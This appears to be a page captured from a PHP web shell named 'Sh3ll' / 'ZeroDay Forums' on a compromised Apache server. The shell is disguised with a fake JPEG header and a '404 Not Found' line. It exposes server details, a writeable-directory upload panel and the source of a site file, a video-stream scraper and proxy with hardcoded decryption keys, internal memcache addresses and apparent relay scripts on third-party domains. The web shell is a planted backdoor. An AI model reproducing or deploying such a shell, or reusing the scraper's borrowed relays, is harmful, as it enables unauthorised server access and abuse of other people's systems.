ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/proxy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/proxy/embed2.php
<?php
//hiu.vn/danh-ba/application/hooks
define('MSG_NO_ACCESS', 'No access');
/*$arr_bot_deny = array('googlebot','bingbot','baiduspider','ahrefsbot','semrushbot','seznambot','yoozbot','linkdexbot','mj12bot','seobilitybot','msnbot-media','facebookexternalhit',' mail.ru_bot','musobot','sogou web spider');
foreach ($arr_bot_deny as $val) {
    if(stripos($_SERVER['HTTP_USER_AGENT'],$val)!== false){
        header('HTTP/1.0 403 Forbidden');
        die();
        exit();
    }
}*/
$acceptedDomains = array('movieandvideo.net','123vid.net');
$referer=get_domain($_SERVER['HTTP_REFERER']);
if(!$referer || !in_array($referer,$acceptedDomains))
{
    header('HTTP/1.0 403 Forbidden');
    exit(MSG_NO_ACCESS);
}
function get_domain($url)
{
    $pieces = parse_url($url);
    $domain = isset($pieces['host']) ? $pieces['host'] : '';
    if (preg_match('/(?P<domain>[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,6})$/i', $domain, $regs))
    {
        return $regs['domain'];
    }
    return false;
}

include 'Mobile_Detect.php';
$detect = new Mobile_Detect;
require '../lib/aes_decrypt.class.php';
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
function decodeCryptZingTV($text){
    $key = 'f_pk_ZingTV_1_@z';
    $iv = 'f_iv_ZingTV_1_@z';
    if($text != ''){
        $cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
        $iv_size = mcrypt_enc_get_iv_size($cipher);
        if(mcrypt_generic_init($cipher, $key, $iv) != -1){
            $char = '';
            for($i=0; $i<strlen($text);$i+=2){
                $char .= chr(hexdec($text{$i}.$text{($i+1)}));
            }
            $cipherText = mdecrypt_generic($cipher,$char);
            mcrypt_generic_deinit($cipher);
            return $cipherText;
        }else{
            return false;
        }
    }
}
/*if(!function_exists (hex2bin)){
    function hex2bin($hexdata) {
        $bindata = '';
        for ($i=0;$i<strlen($hexdata);$i+=2) {
            $bindata .= chr(hexdec(substr($hexdata,$i,2)));
        }
        return $bindata;
    }
}*/
function json_decode_nice($json, $assoc = TRUE){
    $json = str_replace(array("\n","\r"),"\\n",$json);
    $json = preg_replace('/([{,]+)(\s*)([^"]+?)\s*:/','$1"$3":',$json);
    $json = preg_replace('/(,)\s*}$/','}',$json);
    return json_decode($json,$assoc);
}
function curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    //curl_setopt($ch, CURLOPT_REFERER, 'http://www.phimmoi.net');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
function post($url,$data) {
    $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
    $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Pragma: "; // browsers keep this blank.
    $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36';
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $header);
    curl_setopt($process, CURLOPT_REFERER, 'http://www.anivn.com');
//curl_setopt($process, CURLOPT_HEADER, 1);
    curl_setopt($process, CURLOPT_USERAGENT, $user_agent);
    //curl_setopt($process, CURLOPT_COOKIEFILE, 'cookies.txt');
    // curl_setopt($process, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($process, CURLOPT_ENCODING , 'gzip');
    curl_setopt($process, CURLOPT_TIMEOUT, 10);
//if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
    curl_setopt($process, CURLOPT_POSTFIELDS, $data);
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($process, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($process, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($process, CURLOPT_FOLLOWLOCATION, 0);
    curl_setopt($process, CURLOPT_POST, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
}
$url = $_GET['url'];
$url_encode2 = $_GET['url'];
$url =  str_encode(hex2bin($url),'ngocgiac');
$pos1 = strpos($url,'phimmoi.net');
$pos2 = strpos($url,'bilutv.com');
$pos3 = strpos($url,'tv.zing.vn');
$pos4 = strpos($url,'vung.tv');
$pos5 = strpos($url,'anivn.com');
$pos6 = strpos($url,'anime47.com');
$pos7 = strpos($url,'phimbathu.com');
$pos8 = strpos($url,'drive.google.com');
$pos9 = strpos($url,'youtube.com');
if($pos9!==false){
    $arr = explode('?v=', trim($url));
    $my_id = $arr[1];
    echo '<iframe src="https://www.youtube.com/embed/'.$my_id.'?autoplay=1&html5=1&controls=1&showinfo=0&rel=0&modestbranding=0&playsinline=1&enablejsapi=1&widgetid=1" width="100%" height="100%" frameborder="0" allowfullscreen></iframe>';
    exit();
}
if($pos8!==false){
    $memcache = new Memcache;
    $memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
    $key_url = md5($url);
    $cache_show_source = $memcache->get($key_url);
    $show_source = '';
    if($cache_show_source){
        $show_source = $cache_show_source['show_source'];
        $default_res = $cache_show_source['default_res'];
    }else {
        $tmp = explode("file/d/", $url);
        $tmp2 = explode("/", $tmp[1]);
        $id = $tmp2[0];
        //$file = curl('http://portal.uka.edu.vn/proxy/drive_api.php?id='.$id);
        $file = curl('http://portal.uka.edu.vn/logs/drive_api.php?id='.$id);
        $arr = json_decode($file,true);
        if($arr['type']=='video/mp4' and $arr['link']!='') {
            $show_source = '<source src="' . trim($arr['link']) . '" type="' . $arr['type'] . '" data-res="720p"/>';
            $default_res = '720p';
            $result['show_source'] = $show_source;
            $result['default_res'] = $default_res;
            $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
        }else{
            /*echo 'https://drive.google.com/file/d/'.$id.'/preview';
            exit();*/
            header('Location: https://drive.google.com/file/d/'.$id.'/preview');
            exit();
        }
    }
}
if($pos7!==false){
    $memcache = new Memcache;
    $memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
    $key_url = md5($url);
    $cache_show_source = $memcache->get($key_url);
    if($cache_show_source){
        $show_source = $cache_show_source['show_source'];
        $default_res = $cache_show_source['default_res'];
    }else {
        define("key", "phimbathu.com4590481877");
        $arr_url2 = explode('-',$url);
        $id_phim = intval(str_replace('.html', '', $arr_url2[count($arr_url2) - 1]));
        $content1 = curl($url);
        preg_match('#var linkPlay \= \"(.*?)\"\;#is', $content1, $match1);
        $ajax_url = 'http://phimbathu.com'.$match1[1];
        $content2 = curl($ajax_url);
        $arr_source = json_decode($content2,true);
        $link_encode = '';
        foreach ($arr_source as $key=>$val){
            if($val[0]['type']=='drive'){
                $link_encode = $val[0]['file'];
            }
        }
        $link_decode = GibberishAES::dec($link_encode, constant("key") . $id_phim);
        preg_match_all('#file\/d\/(.*?)\/#is',$link_decode,$match_all);
        $id = $match_all[1][count($match_all[1])-1];
        $show_source = '';
        $file = curl('http://portal.uka.edu.vn/proxy/drive_api.php?id='.$id);
        $arr = json_decode($file,true);
        if($arr['type']=='video/mp4') {
            $show_source = '<source src="' . trim($arr['link']) . '" type="' . $arr['type'] . '" data-res="720p"/>';
            $default_res = '720p';
            $result['show_source'] = $show_source;
            $result['default_res'] = $default_res;
            $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
        }else{
            echo '<iframe src="https://drive.google.com/file/d/'.$id.'/preview" width="100%" height="100%" frameborder="0" allowfullscreen></iframe>';
            exit();
        }

    }
}

if($pos6!==false){
    $memcache = new Memcache;
    $memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
    $key_url = md5($url);
    $cache_show_source = $memcache->get($key_url);
    if($cache_show_source){
        $show_source = $cache_show_source['show_source'];
        $default_res = $cache_show_source['default_res'];
    }else {
        $content = curl('http://portal.uka.edu.vn/logs/curl22/run.php?url=' . $url);
        preg_match_all('#iframe src\=(.*?)scrolling#is',$content,$match);
        preg_match_all('#sources\: \[(.*?)\]#is',$content,$match1);

        
        if($match1[1][2]!='' and (strpos($match1[1][2],'fbcdn.net')!==false) ){
            $txt_json = '[' . $match1[1][2] . ']';
            $txt_json = str_replace(array('\"', '\/'), array('"', '/'), $txt_json);
            $list_source = json_decode_nice($txt_json, true);

            if (is_null($list_source)) {
                preg_match('#file:\'(.*?)\'\,#is', $txt_json, $match_check);
                $a_source['file'] = $match_check[1];
                $a_source['label'] = '360p';
                $a_source['type'] = 'video/mp4';
                $list_source[] = $a_source;
            }
            $txt_file = '';
            foreach ($list_source as $key => $val) {
                $txt_file = $val['file'];
                $show_source .= '<source src="' . $val['file'] . '" type="video/mp4" data-res="' . str_replace('pp', 'p', $val['label']) . '" />';
            }
            $default_res = '720p';
            if ($txt_file != '') {
                $result['show_source'] = $show_source;
                $result['default_res'] = $default_res;
                $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
            }
        }else {

            if ($match1[1][0] != '' and strpos($match1[1][0], 'anime47.com') === false) {

                $txt_json = '[' . $match1[1][0] . ']';
                $txt_json = str_replace(array('\"', '\/'), array('"', '/'), $txt_json);
                $list_source = json_decode_nice($txt_json, true);

                if (is_null($list_source)) {
                    preg_match('#file:\'(.*?)\'\,#is', $txt_json, $match_check);
                    $a_source['file'] = $match_check[1];
                    $a_source['label'] = '360p';
                    $a_source['type'] = 'video/mp4';
                    $list_source[] = $a_source;
                }
                $txt_file = '';
                foreach ($list_source as $key => $val) {
                    $txt_file = $val['file'];
                    $show_source .= '<source src="' . $val['file'] . '" type="video/mp4" data-res="' . str_replace('pp', 'p', $val['label']) . '" />';
                }
                $default_res = '720p';
                if ($txt_file != '') {
                    $result['show_source'] = $show_source;
                    $result['default_res'] = $default_res;
                    $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
                }

            } else {
                if ($match[1][0] != '') {
                    $link_embed = $match[1][0];
                    $link_embed = str_replace(array('\"', '"'), array('', ''), trim($link_embed));
                    header('Location: ' . $link_embed);
                    exit();
                }
            }

        }

    }
}

if($pos5!==false){
    $memcache = new Memcache;
    $memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
    $key_url = md5($url);
    $cache_show_source = $memcache->get($key_url);

    if($cache_show_source){
        $show_source = $cache_show_source['show_source'];
        $default_res = $cache_show_source['default_res'];
    }else {
        $arr_url = explode('/',trim($url));
        $id_ani = str_replace('.html','',$arr_url[count($arr_url)-1]);
        $data = 'anivnid='.$id_ani;
        $content = post('http://www.anivn.com/ajaxanime.php',$data);

        preg_match('#sources\: \[(.*?)\]\,#is', $content, $match);

        $link = '';
        $label = '';
        if(!is_null($match[1])) {
            preg_match_all('#file(.*?)"\,#is',$match[1],$m_file);
            preg_match_all('#"label"\:"(.*?)"\,#is',$match[1],$m_label);
            if ($detect->isMobile() or $detect->isTablet()) {
                foreach ($m_file[1] as $key => $val) {
                    if ($m_label[1][$key] == '360p') {
                        $link = str_replace(array('\/','":"',': "'),array('/','',''),trim($val));
                        $label = str_replace(array('AnimeVN'),array(''),trim($m_label[1][$key]));
                        $show_source = '<source src="' . $link . '" type="video/mp4" data-res="' . $label . '"/>';
                    }
                }
                $default_res = '360p';
            }else{
                foreach ($m_file[1] as $key => $val) {
                    $link = str_replace(array('\/','":"',': "'),array('/','',''),trim($val));
                    $label = str_replace(array('AnimeVN'),array(''),trim($m_label[1][$key]));
                    $show_source .= '<source src="' . $link . '" type="video/mp4" data-res="' . $label . '"/>';
                }
                $default_res = '720p';
            }
            if(strlen($link)>5) {
                $result['show_source'] = $show_source;
                $result['default_res'] = $default_res;
                $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
            }

        }else{
            /*<iframe src="https://youtube.googleapis.com/embed/?autoplay=1&docid=0BwdfG92VSyIVSUlFNFZvREJsMnM&partnerid=30&html5=1&controls=1&showinfo=0&rel=0&modestbranding=0&playsinline=1&enablejsapi=1&widgetid=1" width="100%" height="100%" frameborder="0" allowfullscreen></iframe>*/
            preg_match('#iframe src\=\"(.*?)\"#is',$content,$match);
            $tmp = explode("file/d/", $match[1]);
            $tmp2 = explode("/", $tmp[1]);
            $id = $tmp2[0];
            $file = curl('http://portal.uka.edu.vn/logs/drive_api.php?id='.$id);
            $arr = json_decode($file,true);
            if($arr['type']=='video/mp4') {
                $show_source = '<source src="' . trim($arr['link']) . '" type="' . $arr['type'] . '" data-res="720p"/>';
                $default_res = '720p';
                $result['show_source'] = $show_source;
                $result['default_res'] = $default_res;
                $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
            }else{
                echo '<iframe src="https://drive.google.com/file/d/'.$id.'/preview" width="100%" height="100%" frameborder="0" allowfullscreen></iframe>';
                exit();
            }
        }

    }

}
if($pos1!==false){
    echo '<div class="content" style="color: #ffffff;">
                        <h1 id="unavailable-message" class="message">
                                  We\'re processing this video.
                        </h1>
                        <div id="unavailable-submessage" class="submessage">
                           Please choose video at another server.
                        </div>
                      </div>';
    exit();
}
if($pos2!==false){
    define("key", "bilutv.com4590481877");
    $arr_url = explode('_', $url);
    $arr_url2 = explode('-', $arr_url[0]);
    $id_phim = intval(str_replace('.html', '', $arr_url2[count($arr_url2) - 1]));
    $memcache = new Memcache;
    $memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
    $key_url = md5($url);
    $cache_show_source = $memcache->get($key_url);
    /*if($cache_show_source){
        $show_source = $cache_show_source['show_source'];
        $default_res = $cache_show_source['default_res'];
    }else {*/
        $content1 = curl($url);
        preg_match('#\"sources\"\:\[(.*?)\]\,#is', $content1, $match1);
        if($match1[1]==''){
            preg_match('#\"sources\"\:\"(.*?)\"\,#is',$content1,$match1);
            $arr_you = explode('?v=',$match1[1]);
            echo '<iframe src="https://www.youtube.com/embed/'.$arr_you[1].'/?autoplay=1&controls=1&showinfo=0&rel=0&modestbranding=0&playsinline=1&enablejsapi=1&widgetid=1" width="100%" height="100%" frameborder="0" allowfullscreen></iframe>';
            exit();
        }
        $arr_content = json_decode('[' . $match1[1] . ']', true);
        $show_source = '';
        $link_decode = GibberishAES::dec($arr_content[count($arr_content)-1]['file'], constant("key") . $id_phim);
        if(strpos($link_decode,'file/d/')!==false) {//google drive
            $tmp = explode("file/d/", $link_decode);
            $tmp2 = explode("/", $tmp[1]);
            $id = $tmp2[0];
            $file = curl('http://portal.uka.edu.vn/proxy/drive_api.php?id=' . $id);
            $arr = json_decode($file, true);
            if ($arr['type'] == 'video/mp4' and trim($arr['link'])!='') {
                $show_source = '<source src="' . trim($arr['link']) . '" type="' . $arr['type'] . '" data-res="720p"/>';
                $default_res = '720p';
                $result['show_source'] = $show_source;
                $result['default_res'] = $default_res;
                $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
            } else {
                echo '<iframe src="https://drive.google.com/file/d/' . $id . '/preview" width="100%" height="100%" frameborder="0" allowfullscreen></iframe>';
                exit();
            }
        }else{//other link
            $show_source = '<source src="' . trim($link_decode) . '" type="video/mp4" data-res="720p"/>';
            $default_res = '720p';
            if(trim($link_decode)!='') {
                $result['show_source'] = $show_source;
                $result['default_res'] = $default_res;
                $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 1800);
            }
        }

    //}
}
if($pos3!==false){
    $memcache = new Memcache;
    $memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
    $key_url = md5($url);
    $cache_show_source = $memcache->get($key_url);
    if($cache_show_source){
        $show_source = $cache_show_source['show_source'];
        $default_res = $cache_show_source['default_res'];
    }else {
        $url = 'http://portal.uka.edu.vn/logs/curl/mp4zing.php?url=' . base64_encode($url);
        $content = curl($url);
        //$link_encode = bin2hex(str_encode($content, '123Vid@Net'));
        //$link_encode = 'https://st1.123vid.net/mp4/'.$link_encode.'.mp4';
        $arr_video_api = array('https://portal.uka.edu.vn');

        $link_encode = str_replace('http://portal.uka.edu.vn','https://portal.uka.edu.vn',$content);
        if(!empty($content)) {
            $show_source .= '<source src="' . $link_encode . '" type="video/mp4" data-res="480p"/>';
            $default_res = '480p';
            $result['show_source'] = $show_source;
            $result['default_res'] = $default_res;
            $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
        }

        /*preg_match_all('#source\: \"(.*?)\"\,#is', $content, $match);
        $p360 = $match[1][count($match[1])-2];
        $p480 = '';
        if($match[1][count($match[1])-1]!=''){
            $p480 = $match[1][count($match[1])-1];
        }
        $show_source = '';
        if($match[1][count($match[1])-1]!='') {
            if ($detect->isMobile() or $detect->isTablet()) {
                $show_source = '<source src="' . $p360 . '" type="video/mp4" data-res="360p"/>';
                $default_res = '360p';
            } else {
                $show_source .= '<source src="' . $p360 . '" type="video/mp4" data-res="360p"/>';
                if ($p480 != '') {
                    $show_source .= '<source src="' . $p480 . '" type="video/mp4" data-res="480p"/>';
                }
                $default_res = '480p';
            }
            $result['show_source'] = $show_source;
            $result['default_res'] = $default_res;
            $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
        }*/

    }

}
if($pos4!==false){
    echo '<div class="content" style="color: #ffffff;">
                        <h1 id="unavailable-message" class="message">
                                  We\'re processing this video.
                        </h1>
                        <div id="unavailable-submessage" class="submessage">
                           Please choose video at another server.
                        </div>
                      </div>';
    exit();
    /*$memcache = new Memcache;
    $memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
    $key_url = md5($url);
    $cache_show_source = $memcache->get($key_url);
    if($cache_show_source){
        $show_source = $cache_show_source['show_source'];
        $default_res = $cache_show_source['default_res'];
    }else{*/
        //http://vung.tv/phim/yami-shibai-japanese-ghost-stories-season-5-am-kich-phan-5-tap-1-30716
        $arr_url = explode('-',$url);
        $url2 = 'http://vung.tv/embed/tracking?type=v&data='.$arr_url[count($arr_url)-1].'&n=0';

    $memcache = new Memcache;
    $memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
    $key_url = md5($url);
    $cache_show_source = $memcache->get($key_url);
    if($cache_show_source){
        $content = $cache_show_source;
    }else{
        $arr_get = array('http://mangcopvc.com/lang/get_page_pm.php','http://istudent.edu.vn/wp-includes/pomo/get_page_pm.php');
        $v_rand = rand(0,1);
        $content = curl($arr_get[$v_rand].'?url='.base64_encode($url2));
        if($content!=''){
            $memcache->set($key_url,$content, MEMCACHE_COMPRESSED, 3600);
        }
    }
        //$content = curl('http://mangcopvc.com/lang/get_page_pm.php?url='.base64_encode($url2));


        preg_match('#\"s\"\:\"(.*?)\"\,\"#is', $content, $match);
        $type_video = 'video';
        /*if($match[1]!='') {
            $type_video = 'video';
        }else{
            $url2 = 'http://vung.tv/embed/tracking?type=p&data='.$arr_url[count($arr_url)-1].'&n=0';
            $content = curl('http://mangcopvc.com/lang/get_page_pm.php?url='.base64_encode($url2));
            preg_match('#\"s\"\:\"(.*?)\"\,\"#is', $content, $match);
            if($match[1]!='') {
                $type_video = 'video';
            }else{
                $url2 = 'http://vung.tv/embed/tracking?type=b&data='.$arr_url[count($arr_url)-1].'&n=0';
                $content = curl('http://mangcopvc.com/lang/get_page_pm.php?url='.base64_encode($url2));
                preg_match('#\"e\"\:\"(.*?)\"\,\"#is', $content, $match);
                if($match[1]!='') {
                    $type_video = 'embed';
                }else {
                    $url2 = 'http://vung.tv/embed/tracking?type=v&data='.$arr_url[count($arr_url)-1].'&n=0';
                    $content = curl('http://mangcopvc.com/lang/get_page_pm.php?url='.base64_encode($url2));
                    preg_match('#\"s\"\:\"(.*?)\"\,\"#is', $content, $match);
                    $type_video = 'video';
                }
            }
        }*/

        $content3 = base64_decode($match[1]);

        $arr = json_decode($content3, true);
        $type = 'video/mp4';
        $show_source = '';
        $label = '360p';
        if ($type_video=='video') {
                foreach ($arr as $key => $val) {
                    if(strpos($val['file'],'googleapis.com')!==false) {
                        $link_encode = bin2hex(str_encode(urldecode($val['file']), '123Vid@Net'));
                        $link_encode = 'https://st1.123vid.net/mp4/' . $link_encode . '.mp4';
                        $show_source .= '<source src="' . $link_encode . '" type="video/mp4" data-res="' . $val['label'] . '"/>';
                    }else{
                        $show_source .= '<source src="' . urldecode($val['file']) . '" type="video/mp4" data-res="' . $val['label'] . '"/>';
                    }
                }
                $default_res = '720p';
            $result['show_source'] = $show_source;
            $result['default_res'] = $default_res;
            //$memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
        }elseif($type_video=='embed'){
            $link_decode = $arr[0];
            $tmp = explode("file/d/", $link_decode);
            $tmp2 = explode("/", $tmp[1]);
            $id = $tmp2[0];
            $file = curl('http://portal.uka.edu.vn/logs/drive_api.php?id='.$id);
            $arr2 = json_decode($file,true);
            if($arr2['type']=='video/mp4') {
                $show_source = '<source src="' . trim($arr2['link']) . '" type="' . $arr2['type'] . '" data-res="720p"/>';
                $default_res = '720p';
                $result['show_source'] = $show_source;
                $result['default_res'] = $default_res;
                //$memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 3600);
            }else {
                echo '<div class="content" style="color: #ffffff;">
                        <h1 id="unavailable-message" class="message">
                                  We\'re processing this video.
                        </h1>
                        <div id="unavailable-submessage" class="submessage">
                           Please choose video at another server.
                        </div>
                      </div>';
                exit();
            }
        }else{
            echo '<div class="content" style="color: #ffffff;">
                        <h1 id="unavailable-message" class="message">
                                  We\'re processing this video.
                        </h1>
                        <div id="unavailable-submessage" class="submessage">
                           Please choose video at another server.
                        </div>
                      </div>';
            exit();
        }

    //}
}
?>
    <html>
    <head>
        <style type="text/css">
            body {
                background: #000000;
                margin: 0px;
                padding: 0px;
            }
        </style>
        <?php
        if(strpos($show_source,'.m3u8')!==false){
        ?>
        <link href="https://www.123vid.net/skin/phim98/assets/js/videojs/video-js.css" rel="stylesheet">
            <script src="https://www.123vid.net/skin/phim98/assets/js/videojs/video.js"></script>
            <script src="https://www.123vid.net/skin/phim98/assets/js/videojs/videojs-media-sources.js"></script>
            <script src="https://www.123vid.net/skin/phim98/assets/js/videojs/videojs.hls.min.js"></script>
        <?php }else{ ?>
        <link href="https://www.123vid.net/proxy/jscript/video_js/video-js.css" rel="stylesheet" type="text/css" />
        <script src="https://www.123vid.net/proxy/jscript/video_js/video.js"></script>
        <link href="https://www.123vid.net/proxy/jscript/video_js/button-styles.css" rel="stylesheet" type="text/css" />
        <script src="https://www.123vid.net/proxy/jscript/video_js/video-quality-selector.js"></script>
        <script src="https://www.123vid.net/skin/phim98/assets/js/videojs/videojs-media-sources.js"></script>
        <script src="https://www.123vid.net/skin/phim98/assets/js/videojs/videojs.hls.min.js"></script>
        <?php } ?>
    </head>
    <body style="width: 100%; height: 100%"  oncontextmenu="return false;">
    <?php
    if(strpos($show_source,'.m3u8')!==false){
    ?>
        <video id="my_video_1"  width="100%" height="100%" class="video-js vjs-default-skin" autoplay controls preload="auto"
               data-setup='{ }'>
            <?php echo $show_source;?>
        </video>
        <script>
            var player = videojs('my_video_1');
        </script>
    <?php }else{ ?>
        <video id="ht_player" width="100%" height="100%" class="video-js vjs-default-skin" preload="none" poster=" " data-setup="{ }" autoplay controls>
            <?php echo $show_source;?>
            <p>Video Playback Not Supported</p>
        </video>
        <script type="text/javascript">
            videojs( '#ht_player', { plugins : { resolutionSelector : {
                default_res : '<?php echo $default_res;?>'
            } } }, function() {
                var player = this;
                player.on( 'changeRes', function() {
                    console.log( 'Current Res is: ' + player.getCurrentRes() );
                });
            });
        </script>
<?php } ?>
    </body></html>

ZeroDay Forums Mini